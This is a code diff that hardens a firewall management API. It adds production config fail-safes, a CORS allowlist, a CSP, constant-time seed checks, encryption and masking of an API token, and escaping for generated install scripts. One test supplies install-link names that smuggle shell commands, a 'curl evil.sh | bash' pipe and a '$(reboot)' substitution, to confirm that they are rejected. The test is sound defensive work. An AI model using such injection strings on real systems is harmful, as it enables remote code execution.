diff --git a/.env.example b/.env.example index 6fcf862..b5db445 100644 --- a/.env.example +++ b/.env.example @@ -24,3 +24,12 @@ REUI_LICENSE_KEY= # Server SERVER_PORT=8080 + +# Security hardening (prod) +# В prod (NODE_ENV=production) сервер откажется стартовать без AUTH_REQUIRED=true +# и реальных секретов; EVOFW_ALLOW_UNSAFE=true — явный opt-out для изолированных стендов. +# EVOFW_ALLOW_UNSAFE=false +# Разрешённые CORS-origins через запятую; пусто = только same-origin +# CORS_ORIGINS=https://fw.example.com +# Ключ для шифрования секретов в БД (AES-256-GCM, напр. токен EvoBGP); пусто = без шифрования +# EVOFW_SECRET_KEY= diff --git a/apps/api/src/app.ts b/apps/api/src/app.ts index d88c633..44060aa 100644 --- a/apps/api/src/app.ts +++ b/apps/api/src/app.ts @@ -39,14 +39,32 @@ export async function buildApp(opts: BuildAppOptions = {}) { app.setSerializerCompiler(serializerCompiler) await app.register(import('@fastify/sensible')) + // CSP only guards the served SPA; in dev the Vite server proxies API + // requests same-origin and injects its own HMR scripts. await app.register(import('@fastify/helmet'), { - contentSecurityPolicy: false, + contentSecurityPolicy: + config.staticDir !== null + ? { + directives: { + defaultSrc: ["'self'"], + scriptSrc: ["'self'"], + styleSrc: ["'self'", "'unsafe-inline'"], + imgSrc: ["'self'", 'data:'], + fontSrc: ["'self'", 'data:'], + // app-switcher talks to the auth portal directly from the browser + connectSrc: ["'self'", config.authPortalUrl], + objectSrc: ["'none'"], + baseUri: ["'self'"], + frameAncestors: ["'none'"], + }, + } + : false, }) await app.register(import('@fastify/rate-limit'), { max: 300, timeWindow: '1 minute', }) - await app.register(corsPlugin) + await app.register(corsPlugin, { config }) await app.register(errorHandlerPlugin) await app.register(dbPlugin, { config, memory: opts.memory }) await app.register(authPlugin, { config }) diff --git a/apps/api/src/config.test.ts b/apps/api/src/config.test.ts new file mode 100644 index 0000000..6bd520b --- /dev/null +++ b/apps/api/src/config.test.ts @@ -0,0 +1,74 @@ +import { describe, it, expect, afterEach } from 'vitest' +import { loadConfig } from './config.js' + +const SAVED: Record = {} +const KEYS = [ + 'NODE_ENV', + 'AUTH_REQUIRED', + 'AUTH_JWT_SECRET', + 'JWT_SECRET', + 'EVOFW_ENROLL_SEED', + 'EVOFW_ALLOW_UNSAFE', +] + +afterEach(() => { + for (const k of KEYS) { + if (SAVED[k] === undefined) delete process.env[k] + else process.env[k] = SAVED[k] + } +}) + +function setEnv(vars: Record) { + for (const [k, v] of Object.entries(vars)) { + if (!(k in SAVED)) SAVED[k] = process.env[k] + if (v === undefined) delete process.env[k] + else process.env[k] = v + } +} + +describe('loadConfig production fail-safe', () => { + it('refuses insecure defaults in production', () => { + setEnv({ + NODE_ENV: 'production', + AUTH_REQUIRED: undefined, + AUTH_JWT_SECRET: undefined, + JWT_SECRET: undefined, + EVOFW_ENROLL_SEED: undefined, + EVOFW_ALLOW_UNSAFE: undefined, + }) + expect(() => loadConfig()).toThrow(/AUTH_REQUIRED/) + + setEnv({ AUTH_REQUIRED: 'true' }) + expect(() => loadConfig()).toThrow(/AUTH_JWT_SECRET/) + + setEnv({ AUTH_JWT_SECRET: 'short' }) + expect(() => loadConfig()).toThrow(/real secret/) + + setEnv({ AUTH_JWT_SECRET: 'a-real-production-secret' }) + expect(() => loadConfig()).toThrow(/EVOFW_ENROLL_SEED/) + }) + + it('starts with explicit opt-out or full production config', () => { + setEnv({ EVOFW_ALLOW_UNSAFE: 'true' }) + expect(() => loadConfig()).not.toThrow() + + setEnv({ + EVOFW_ALLOW_UNSAFE: undefined, + EVOFW_ENROLL_SEED: 'real-seed', + }) + expect(() => loadConfig()).not.toThrow() + }) + + it('dev keeps permissive defaults', () => { + setEnv({ + NODE_ENV: undefined, + AUTH_REQUIRED: undefined, + AUTH_JWT_SECRET: undefined, + EVOFW_ENROLL_SEED: undefined, + EVOFW_ALLOW_UNSAFE: undefined, + }) + const config = loadConfig() + expect(config.authRequired).toBe(false) + expect(config.corsOrigins).toEqual([]) + }) +}) diff --git a/apps/api/src/config.ts b/apps/api/src/config.ts index a8f3569..ff692b3 100644 --- a/apps/api/src/config.ts +++ b/apps/api/src/config.ts @@ -13,6 +13,8 @@ export interface AppConfig { authAuditIngestSecret: string | null publicBaseUrl: string enrollSeed: string + corsOrigins: string[] + secretKey: string | null } function boolEnv(v: string | undefined, fallback: boolean): boolean { @@ -20,16 +22,19 @@ function boolEnv(v: string | undefined, fallback: boolean): boolean { return v === '1' || v.toLowerCase() === 'true' } +const DEV_JWT_SECRET = 'dev-secret-change-me' +const DEV_ENROLL_SEED = 'dev-enroll-seed-change-me' + export function loadConfig(): AppConfig { const isProd = process.env.NODE_ENV === 'production' const jwtSecret = process.env.AUTH_JWT_SECRET ?? process.env.JWT_SECRET ?? - (isProd ? '' : 'dev-secret-change-me') + (isProd ? '' : DEV_JWT_SECRET) - return { + const config: AppConfig = { databaseUrl: process.env.DATABASE_URL ?? 'sqlite:data/app.db', - jwtSecret: jwtSecret || 'dev-secret-change-me', + jwtSecret: jwtSecret || DEV_JWT_SECRET, jwtTtlHours: Number(process.env.JWT_TTL_HOURS ?? '24') || 24, serverPort: Number(process.env.SERVER_PORT ?? '8080') || 8080, staticDir: process.env.STATIC_DIR @@ -54,6 +59,36 @@ export function loadConfig(): AppConfig { enrollSeed: process.env.EVOFW_ENROLL_SEED ?? process.env.BUNDLE_SEED_HEX ?? - 'dev-enroll-seed-change-me', + DEV_ENROLL_SEED, + corsOrigins: (process.env.CORS_ORIGINS ?? '') + .split(',') + .map((s) => s.trim().replace(/\/$/, '')) + .filter(Boolean), + secretKey: process.env.EVOFW_SECRET_KEY?.trim() || null, } + + // Fail-safe: a production process must not start wide open or with + // well-known dev credentials. EVOFW_ALLOW_UNSAFE=true is the explicit + // opt-out for isolated/lab deployments. + if (isProd && !boolEnv(process.env.EVOFW_ALLOW_UNSAFE, false)) { + const problems: string[] = [] + if (!config.authRequired) { + problems.push('AUTH_REQUIRED must be true (or set EVOFW_ALLOW_UNSAFE=true)') + } + if (!process.env.AUTH_JWT_SECRET && !process.env.JWT_SECRET) { + problems.push('AUTH_JWT_SECRET is not set') + } else if (config.jwtSecret === DEV_JWT_SECRET || config.jwtSecret.length < 8) { + problems.push('AUTH_JWT_SECRET must be a real secret (>= 8 chars)') + } + if (config.enrollSeed === DEV_ENROLL_SEED) { + problems.push('EVOFW_ENROLL_SEED is not set') + } + if (problems.length > 0) { + throw new Error( + `Refusing to start in production with insecure config:\n - ${problems.join('\n - ')}`, + ) + } + } + + return config } diff --git a/apps/api/src/plugins/cors.ts b/apps/api/src/plugins/cors.ts index 6293316..58d9976 100644 --- a/apps/api/src/plugins/cors.ts +++ b/apps/api/src/plugins/cors.ts @@ -1,8 +1,21 @@ import type { FastifyInstance } from 'fastify' import fp from 'fastify-plugin' +import type { AppConfig } from '../config.js' -async function corsPlugin(app: FastifyInstance) { - await app.register(import('@fastify/cors'), { origin: true }) +async function corsPlugin(app: FastifyInstance, opts: { config: AppConfig }) { + const allowed = opts.config.corsOrigins + await app.register(import('@fastify/cors'), { + // The SPA is served same-origin (or via the Vite dev proxy), so by + // default only non-CORS (same-origin/server-side) requests pass. + // CORS_ORIGINS opens specific origins explicitly. + origin: (origin, cb) => { + if (!origin || allowed.includes(origin.replace(/\/$/, ''))) { + cb(null, true) + } else { + cb(null, false) + } + }, + }) } export default fp(corsPlugin, { name: 'cors' }) diff --git a/apps/api/src/routes/agent.ts b/apps/api/src/routes/agent.ts index 7f82a61..5991441 100644 --- a/apps/api/src/routes/agent.ts +++ b/apps/api/src/routes/agent.ts @@ -1,5 +1,5 @@ import { readFileSync } from 'node:fs' -import { createHash } from 'node:crypto' +import { createHash, timingSafeEqual } from 'node:crypto' import { join } from 'node:path' import type { FastifyPluginAsync } from 'fastify' import { repos } from '@evofw/db' @@ -18,6 +18,14 @@ import { const scriptsDir = resolveAgentScriptsDir() +/** Constant-time seed check; hash first so lengths always match. */ +function seedMatches(presented: string | undefined, expected: string): boolean { + if (!presented) return false + const a = createHash('sha256').update(presented).digest() + const b = createHash('sha256').update(expected).digest() + return timingSafeEqual(a, b) +} + function sanitizeHostFirewall(raw: { rules?: unknown[] listeners?: unknown[] @@ -92,7 +100,7 @@ export const agentRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( const seed = req.headers['x-evofw-seed'] const expected = repos.getSetting(app.db, 'enroll_seed') || config.enrollSeed - if (!seed || String(seed) !== expected) { + if (!seedMatches(String(seed ?? ''), expected)) { throw new AppError('UNAUTHORIZED', 'Invalid enroll seed', 401) } const body = enrollBodySchema.parse(req.body) diff --git a/apps/api/src/routes/lists.ts b/apps/api/src/routes/lists.ts index 1df9c0c..39fcc0e 100644 --- a/apps/api/src/routes/lists.ts +++ b/apps/api/src/routes/lists.ts @@ -15,6 +15,7 @@ import { } from '../services/lists/entries.js' import type { AppConfig } from '../config.js' import { auditMutation } from '../services/audit.js' +import { maskListConfig, sealListConfig } from '../services/secret-cipher.js' export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( app, @@ -32,7 +33,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( id: l.id, name: l.name, type: l.type, - config_json: l.configJson, + config_json: maskListConfig(l.configJson), content_hash: l.contentHash, refreshed_at: l.refreshedAt, last_error: l.lastError, @@ -52,7 +53,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( id, name: body.name, type, - configJson: JSON.stringify(body.config ?? {}), + configJson: sealListConfig({ ...(body.config ?? {}) }), createdAt: new Date().toISOString(), updatedAt: new Date().toISOString(), }) @@ -81,7 +82,7 @@ export const listsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( id: list!.id, name: list!.name, type: list!.type, - config_json: list!.configJson, + config_json: maskListConfig(list!.configJson), created_at: list!.createdAt, updated_at: list!.updatedAt, } diff --git a/apps/api/src/routes/settings.ts b/apps/api/src/routes/settings.ts index a72cc5a..48827b0 100644 --- a/apps/api/src/routes/settings.ts +++ b/apps/api/src/routes/settings.ts @@ -2,6 +2,7 @@ import type { FastifyPluginAsync } from 'fastify' import { repos } from '@evofw/db' import { putSettingsBodySchema } from '@evofw/shared' import type { AppConfig } from '../config.js' +import { encryptSecret } from '../services/secret-cipher.js' export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( app, @@ -27,7 +28,11 @@ export const settingsRoutes: FastifyPluginAsync<{ config: AppConfig }> = async ( const body = putSettingsBodySchema.parse(req.body) for (const [k, v] of Object.entries(body)) { if (k === 'evobgp_api_token' && v === '********') continue - repos.setSetting(app.db, k, v) + repos.setSetting( + app.db, + k, + k === 'evobgp_api_token' ? encryptSecret(v) : v, + ) } return { ok: true } }) diff --git a/apps/api/src/server.ts b/apps/api/src/server.ts index 4303450..2a8f287 100644 --- a/apps/api/src/server.ts +++ b/apps/api/src/server.ts @@ -38,3 +38,17 @@ try { app.log.error(err) process.exit(1) } + +// Drain in-flight requests and close SQLite on docker stop / SIGINT. +for (const signal of ['SIGINT', 'SIGTERM'] as const) { + process.on(signal, () => { + app.log.info(`${signal} received, shutting down`) + app + .close() + .then(() => process.exit(0)) + .catch((err) => { + app.log.error(err, 'error during shutdown') + process.exit(1) + }) + }) +} diff --git a/apps/api/src/services/agents-policy.test.ts b/apps/api/src/services/agents-policy.test.ts index a83fcbf..32d2b75 100644 --- a/apps/api/src/services/agents-policy.test.ts +++ b/apps/api/src/services/agents-policy.test.ts @@ -14,6 +14,8 @@ const testConfig: AppConfig = { authPortalUrl: 'http://localhost:5175', publicBaseUrl: 'https://fw.example.com', enrollSeed: 'test-seed', + corsOrigins: [], + secretKey: null, } describe('agents CRUD critical paths', () => { diff --git a/apps/api/src/services/install-links.test.ts b/apps/api/src/services/install-links.test.ts index 21368f8..1addb95 100644 --- a/apps/api/src/services/install-links.test.ts +++ b/apps/api/src/services/install-links.test.ts @@ -14,6 +14,8 @@ const testConfig: AppConfig = { authPortalUrl: 'http://localhost:5175', publicBaseUrl: 'https://fw.example.com', enrollSeed: 'test-seed', + corsOrigins: [], + secretKey: null, } describe('install-links', () => { @@ -112,6 +114,55 @@ describe('install-links', () => { expect(row?.status).toBe('pending') }) + it('rejects install link names with unsafe characters', async () => { + const app = await appPromise + await app.ready() + + const bad = await app.inject({ + method: 'POST', + url: '/api/v1/install-links', + payload: { name: 'web\n; curl evil.sh | bash', platform: 'linux' }, + }) + expect(bad.statusCode).toBe(400) + + const quotes = await app.inject({ + method: 'POST', + url: '/api/v1/install-links', + payload: { name: "name'$(reboot)", platform: 'linux' }, + }) + expect(quotes.statusCode).toBe(400) + }) + + it('masks per-list api_token in list responses', async () => { + const app = await appPromise + await app.ready() + + const created = await app.inject({ + method: 'POST', + url: '/api/v1/lists', + payload: { + name: 'evobgp-masked', + type: 'evobgp_community', + config: { + api_url: 'https://bgp.example.com', + api_token: 'super-secret-token', + community_id: '', + }, + }, + }) + expect(created.statusCode).toBe(200) + const body = created.json() as { config_json: string } + expect(body.config_json).not.toContain('super-secret-token') + expect(body.config_json).toContain('********') + + const lists = await app.inject({ method: 'GET', url: '/api/v1/lists' }) + const items = (lists.json() as { items: { config_json: string }[] }).items + expect( + items.some((l) => l.config_json.includes('super-secret-token')), + ).toBe(false) + expect(items.some((l) => l.config_json.includes('********'))).toBe(true) + }) + it('mikrotik install link serves RSC and fetch/import one-liner', async () => { const app = await appPromise await app.ready() diff --git a/apps/api/src/services/install-links.ts b/apps/api/src/services/install-links.ts index d6ff41d..b5c24d3 100644 --- a/apps/api/src/services/install-links.ts +++ b/apps/api/src/services/install-links.ts @@ -105,8 +105,18 @@ function loadMikrotikInstallRsc(): string { return readFileSync(join(scriptsDir, 'mikrotik-install.rsc'), 'utf-8') } +/** Strip control characters that have no business inside generated scripts. */ +function stripControlChars(s: string): string { + // eslint-disable-next-line no-control-regex + return s.replace(/[\x00-\x1f\x7f]/g, '') +} + function escapeRosString(s: string): string { - return s.replace(/\\/g, '\\\\').replace(/"/g, '\\"') + // RouterOS interpolates $var and substitutes $(cmd) inside double quotes. + return stripControlChars(s) + .replace(/\\/g, '\\\\') + .replace(/"/g, '\\"') + .replace(/\$/g, '\\$') } /** @@ -119,8 +129,8 @@ export function renderInstallScript(opts: { platform: string installLinkId: string }): string { - const cp = opts.cpUrl.replace(/\/$/, '') - const escape = (s: string) => s.replace(/'/g, `'\\''`) + const cp = stripControlChars(opts.cpUrl.replace(/\/$/, '')) + const escape = (s: string) => stripControlChars(s).replace(/'/g, `'\\''`) const header = [ '#!/usr/bin/env bash', '# EvoFirewall short install link — env pre-set', diff --git a/apps/api/src/services/ip-block-stats.test.ts b/apps/api/src/services/ip-block-stats.test.ts index 824f12d..dc47af2 100644 --- a/apps/api/src/services/ip-block-stats.test.ts +++ b/apps/api/src/services/ip-block-stats.test.ts @@ -14,6 +14,8 @@ const testConfig: AppConfig = { authPortalUrl: 'http://localhost:5175', publicBaseUrl: 'https://fw.example.com', enrollSeed: 'test-seed', + corsOrigins: [], + secretKey: null, } async function enrollApprovedLinux( diff --git a/apps/api/src/services/lists/entries.ts b/apps/api/src/services/lists/entries.ts index a37cf47..a708053 100644 --- a/apps/api/src/services/lists/entries.ts +++ b/apps/api/src/services/lists/entries.ts @@ -12,6 +12,7 @@ import { } from '@evofw/shared' import { resolveHostnameToCidrs } from '../policy/resolve-hostname.js' import { uniqCidrs } from '../uniq.js' +import { maskListConfig } from '../secret-cipher.js' export function getListConfig(list: { configJson: string @@ -324,7 +325,7 @@ export function mapListDetail(db: Db, listId: string) { id: l.id, name: l.name, type: l.type, - config_json: l.configJson, + config_json: maskListConfig(l.configJson), content_hash: l.contentHash, refreshed_at: l.refreshedAt, last_error: l.lastError, diff --git a/apps/api/src/services/lists/refresh.ts b/apps/api/src/services/lists/refresh.ts index 3bba48b..c46ca47 100644 --- a/apps/api/src/services/lists/refresh.ts +++ b/apps/api/src/services/lists/refresh.ts @@ -8,6 +8,7 @@ import { rebuildManualListEntries, } from './entries.js' import { uniqCidrs } from '../uniq.js' +import { decryptSecret } from '../secret-cipher.js' function hashCidrs(cidrs: string[]): string { return `sha256:${createHash('sha256').update(cidrs.join('\n')).digest('hex')}` @@ -139,10 +140,12 @@ export async function refreshIpList(db: Db, listId: string): Promise { repos.replaceIpListEntries(db, listId, cidrs) } else if (list.type === 'evobgp_community') { const apiUrl = - String(config.api_url ?? '') || repos.getSetting(db, 'evobgp_api_url') + String(config.api_url ?? '') || + repos.getSetting(db, 'evobgp_api_url') || + '' const token = - String(config.api_token ?? '') || - repos.getSetting(db, 'evobgp_api_token') + decryptSecret(String(config.api_token ?? '') || null) ?? + decryptSecret(repos.getSetting(db, 'evobgp_api_token')) const communityId = String(config.community_id ?? '') if (!apiUrl || !token || !communityId) { throw new Error('evobgp_api_url, token and community_id required') diff --git a/apps/api/src/services/policy/policy-mode.test.ts b/apps/api/src/services/policy/policy-mode.test.ts index 0b30897..8a888c0 100644 --- a/apps/api/src/services/policy/policy-mode.test.ts +++ b/apps/api/src/services/policy/policy-mode.test.ts @@ -14,6 +14,8 @@ const testConfig: AppConfig = { authPortalUrl: 'http://localhost:5175', publicBaseUrl: 'https://fw.example.com', enrollSeed: 'test-seed', + corsOrigins: [], + secretKey: null, } async function createAgent( diff --git a/apps/api/src/services/port-acl.test.ts b/apps/api/src/services/port-acl.test.ts index 730332c..f13b9d8 100644 --- a/apps/api/src/services/port-acl.test.ts +++ b/apps/api/src/services/port-acl.test.ts @@ -14,6 +14,8 @@ const testConfig: AppConfig = { authPortalUrl: 'http://localhost:5175', publicBaseUrl: 'https://fw.example.com', enrollSeed: 'test-seed', + corsOrigins: [], + secretKey: null, } async function enrollApprovedLinux( diff --git a/apps/api/src/services/secret-cipher.test.ts b/apps/api/src/services/secret-cipher.test.ts new file mode 100644 index 0000000..a7eb505 --- /dev/null +++ b/apps/api/src/services/secret-cipher.test.ts @@ -0,0 +1,64 @@ +import { describe, it, expect, afterEach } from 'vitest' +import { + encryptSecret, + decryptSecret, + isEncryptedSecret, + sealListConfig, + maskListConfig, +} from './secret-cipher.js' + +const ORIGINAL_KEY = process.env.EVOFW_SECRET_KEY + +afterEach(() => { + if (ORIGINAL_KEY === undefined) delete process.env.EVOFW_SECRET_KEY + else process.env.EVOFW_SECRET_KEY = ORIGINAL_KEY +}) + +describe('secret-cipher', () => { + it('passes values through when no key is configured', () => { + delete process.env.EVOFW_SECRET_KEY + expect(encryptSecret('plain')).toBe('plain') + expect(decryptSecret('plain')).toBe('plain') + expect(isEncryptedSecret('plain')).toBe(false) + }) + + it('encrypts and decrypts when EVOFW_SECRET_KEY is set', () => { + process.env.EVOFW_SECRET_KEY = 'k'.repeat(32) + const enc = encryptSecret('super-secret-token') + expect(enc).not.toContain('super-secret-token') + expect(enc.startsWith('enc:v1:')).toBe(true) + expect(decryptSecret(enc)).toBe('super-secret-token') + // already-encrypted values are not double-encrypted + expect(encryptSecret(enc)).toBe(enc) + }) + + it('returns null for encrypted values when the key is missing or wrong', () => { + process.env.EVOFW_SECRET_KEY = 'k'.repeat(32) + const enc = encryptSecret('super-secret-token') + delete process.env.EVOFW_SECRET_KEY + expect(decryptSecret(enc)).toBeNull() + process.env.EVOFW_SECRET_KEY = 'other-key-other-key-other-key!' + expect(decryptSecret(enc)).toBeNull() + }) + + it('seals and masks list config api_token', () => { + process.env.EVOFW_SECRET_KEY = 'k'.repeat(32) + const sealed = sealListConfig({ + api_url: 'https://bgp.example.com', + api_token: 'super-secret-token', + community_id: 'abc', + }) + expect(sealed).not.toContain('super-secret-token') + const parsed = JSON.parse(sealed) as { api_token: string } + expect(decryptSecret(parsed.api_token)).toBe('super-secret-token') + + const masked = maskListConfig(sealed) + expect(masked).toContain('********') + expect(masked).not.toContain('enc:v1:') + + // configs without tokens pass through untouched + expect(maskListConfig('{"api_url":"https://x"}')).toBe( + '{"api_url":"https://x"}', + ) + }) +}) diff --git a/apps/api/src/services/secret-cipher.ts b/apps/api/src/services/secret-cipher.ts new file mode 100644 index 0000000..30c8607 --- /dev/null +++ b/apps/api/src/services/secret-cipher.ts @@ -0,0 +1,86 @@ +import { + createCipheriv, + createDecipheriv, + randomBytes, + scryptSync, +} from 'node:crypto' + +/** + * Optional at-rest encryption for secrets stored in the DB (EvoBGP API + * token). Active only when EVOFW_SECRET_KEY is set; without it values are + * stored as before (plaintext) so existing deployments keep working. + * + * Format: enc:v1::::, AES-256-GCM with a + * scrypt-derived per-value key. + */ + +const PREFIX = 'enc:v1:' + +function deriveKey(secret: string, salt: Buffer): Buffer { + return scryptSync(secret, salt, 32) +} + +export function isEncryptedSecret(value: string): boolean { + return value.startsWith(PREFIX) +} + +export function encryptSecret(value: string): string { + const secret = process.env.EVOFW_SECRET_KEY?.trim() + if (!secret || !value || isEncryptedSecret(value)) return value + const salt = randomBytes(16) + const iv = randomBytes(12) + const cipher = createCipheriv('aes-256-gcm', deriveKey(secret, salt), iv) + const data = Buffer.concat([cipher.update(value, 'utf8'), cipher.final()]) + const tag = cipher.getAuthTag() + const payload = [salt, iv, tag, data] + .map((b) => b.toString('base64')) + .join(':') + return `${PREFIX}${payload}` +} + +/** + * Decrypt an encrypted secret; returns plaintext secrets untouched. Returns + * null for encrypted values that cannot be decrypted (key missing/rotated) + * so callers can treat the secret as unset instead of sending garbage. + */ +export function decryptSecret(value: string | null | undefined): string | null { + if (!value) return null + if (!isEncryptedSecret(value)) return value + const secret = process.env.EVOFW_SECRET_KEY?.trim() + if (!secret) return null + const parts = value.split(':') + if (parts.length !== 6) return null + try { + const salt = Buffer.from(parts[2]!, 'base64') + const iv = Buffer.from(parts[3]!, 'base64') + const tag = Buffer.from(parts[4]!, 'base64') + const data = Buffer.from(parts[5]!, 'base64') + const decipher = createDecipheriv('aes-256-gcm', deriveKey(secret, salt), iv) + decipher.setAuthTag(tag) + return Buffer.concat([decipher.update(data), decipher.final()]).toString('utf8') + } catch { + return null + } +} + +/** Encrypt secrets inside a list config before persisting it. */ +export function sealListConfig(config: Record): string { + if (typeof config.api_token === 'string' && config.api_token) { + config = { ...config, api_token: encryptSecret(config.api_token) } + } + return JSON.stringify(config) +} + +/** Mask secrets inside a list config before returning it to clients. */ +export function maskListConfig(configJson: string): string { + if (!configJson.includes('api_token')) return configJson + try { + const config = JSON.parse(configJson) as Record + if (typeof config.api_token === 'string' && config.api_token) { + config.api_token = '********' + } + return JSON.stringify(config) + } catch { + return configJson + } +} diff --git a/apps/api/src/services/settings-bump.test.ts b/apps/api/src/services/settings-bump.test.ts index 2cc9063..0ed4cc2 100644 --- a/apps/api/src/services/settings-bump.test.ts +++ b/apps/api/src/services/settings-bump.test.ts @@ -15,6 +15,8 @@ const testConfig: AppConfig = { authPortalUrl: 'http://localhost:5175', publicBaseUrl: 'https://fw.example.com', enrollSeed: 'test-seed', + corsOrigins: [], + secretKey: null, } describe('settings + bumpAgentsForList', () => { diff --git a/packages/db/src/repositories/lists.ts b/packages/db/src/repositories/lists.ts index 68a5ea7..01537bf 100644 --- a/packages/db/src/repositories/lists.ts +++ b/packages/db/src/repositories/lists.ts @@ -60,17 +60,19 @@ export function countEntriesByListIds( } export function replaceIpListEntries(db: Db, listId: string, cidrs: string[]) { - db.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run() - if (cidrs.length === 0) return - const now = new Date().toISOString() - db.insert(ipListEntries) - .values( - cidrs.map((cidr) => ({ - id: crypto.randomUUID(), - listId, - cidr, - createdAt: now, - })), - ) - .run() + db.transaction((tx) => { + tx.delete(ipListEntries).where(eq(ipListEntries.listId, listId)).run() + if (cidrs.length === 0) return + const now = new Date().toISOString() + tx.insert(ipListEntries) + .values( + cidrs.map((cidr) => ({ + id: crypto.randomUUID(), + listId, + cidr, + createdAt: now, + })), + ) + .run() + }) } diff --git a/packages/db/src/repositories/policy.ts b/packages/db/src/repositories/policy.ts index 4869b91..984651c 100644 --- a/packages/db/src/repositories/policy.ts +++ b/packages/db/src/repositories/policy.ts @@ -170,11 +170,13 @@ export function setAgentPolicySets(db: Db, agentId: string, setIds: string[]) { } } - db.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run() - setIds.forEach((setId, i) => { - db.insert(agentPolicySets) - .values({ agentId, setId, sort: i * 10 }) - .run() + db.transaction((tx) => { + tx.delete(agentPolicySets).where(eq(agentPolicySets.agentId, agentId)).run() + setIds.forEach((setId, i) => { + tx.insert(agentPolicySets) + .values({ agentId, setId, sort: i * 10 }) + .run() + }) }) bumpAgentGeneration(db, agentId) } @@ -271,20 +273,22 @@ export function reorderPolicyRules( throw new Error('ordered_ids must list every rule in the set exactly once') } // Temporary priorities to avoid UNIQUE collisions - orderedIds.forEach((id, i) => { - db.update(policyRules) - .set({ priority: 9000 + i, updatedAt: new Date().toISOString() }) - .where(eq(policyRules.id, id)) - .run() - }) - orderedIds.forEach((id, i) => { - db.update(policyRules) - .set({ - priority: (i + 1) * 10, - updatedAt: new Date().toISOString(), - }) - .where(eq(policyRules.id, id)) - .run() + db.transaction((tx) => { + orderedIds.forEach((id, i) => { + tx.update(policyRules) + .set({ priority: 9000 + i, updatedAt: new Date().toISOString() }) + .where(eq(policyRules.id, id)) + .run() + }) + orderedIds.forEach((id, i) => { + tx.update(policyRules) + .set({ + priority: (i + 1) * 10, + updatedAt: new Date().toISOString(), + }) + .where(eq(policyRules.id, id)) + .run() + }) }) } @@ -316,21 +320,23 @@ export function listResolvedForRule(db: Db, ruleId: string) { } export function replaceResolvedForRule(db: Db, ruleId: string, cidrs: string[]) { - db.delete(policyRuleResolved) - .where(eq(policyRuleResolved.ruleId, ruleId)) - .run() - if (cidrs.length === 0) return - const now = new Date().toISOString() - db.insert(policyRuleResolved) - .values( - cidrs.map((cidr) => ({ - id: crypto.randomUUID(), - ruleId, - cidr, - resolvedAt: now, - })), - ) - .run() + db.transaction((tx) => { + tx.delete(policyRuleResolved) + .where(eq(policyRuleResolved.ruleId, ruleId)) + .run() + if (cidrs.length === 0) return + const now = new Date().toISOString() + tx.insert(policyRuleResolved) + .values( + cidrs.map((cidr) => ({ + id: crypto.randomUUID(), + ruleId, + cidr, + resolvedAt: now, + })), + ) + .run() + }) } export function listOverrides(db: Db, agentId: string) { diff --git a/packages/shared/src/contracts.ts b/packages/shared/src/contracts.ts index fe5c071..3d782f1 100644 --- a/packages/shared/src/contracts.ts +++ b/packages/shared/src/contracts.ts @@ -492,8 +492,22 @@ export const dashboardStatsSchema = z.object({ lists_total: z.number().int(), }) +/** + * Install-link client name. The name is embedded into generated bash / + * RouterOS install scripts, so it is limited to safe printable characters. + */ +export const installLinkNameSchema = z + .string() + .trim() + .min(1) + .max(64) + .regex( + /^[\p{L}\p{N}][\p{L}\p{N} .:_-]*$/u, + 'Имя может содержать буквы, цифры и символы . : _ - (без перевода строк и кавычек)', + ) + export const createInstallLinkBodySchema = z.object({ - name: z.string().min(1), + name: installLinkNameSchema, platform: agentPlatformSchema.optional().default('linux'), })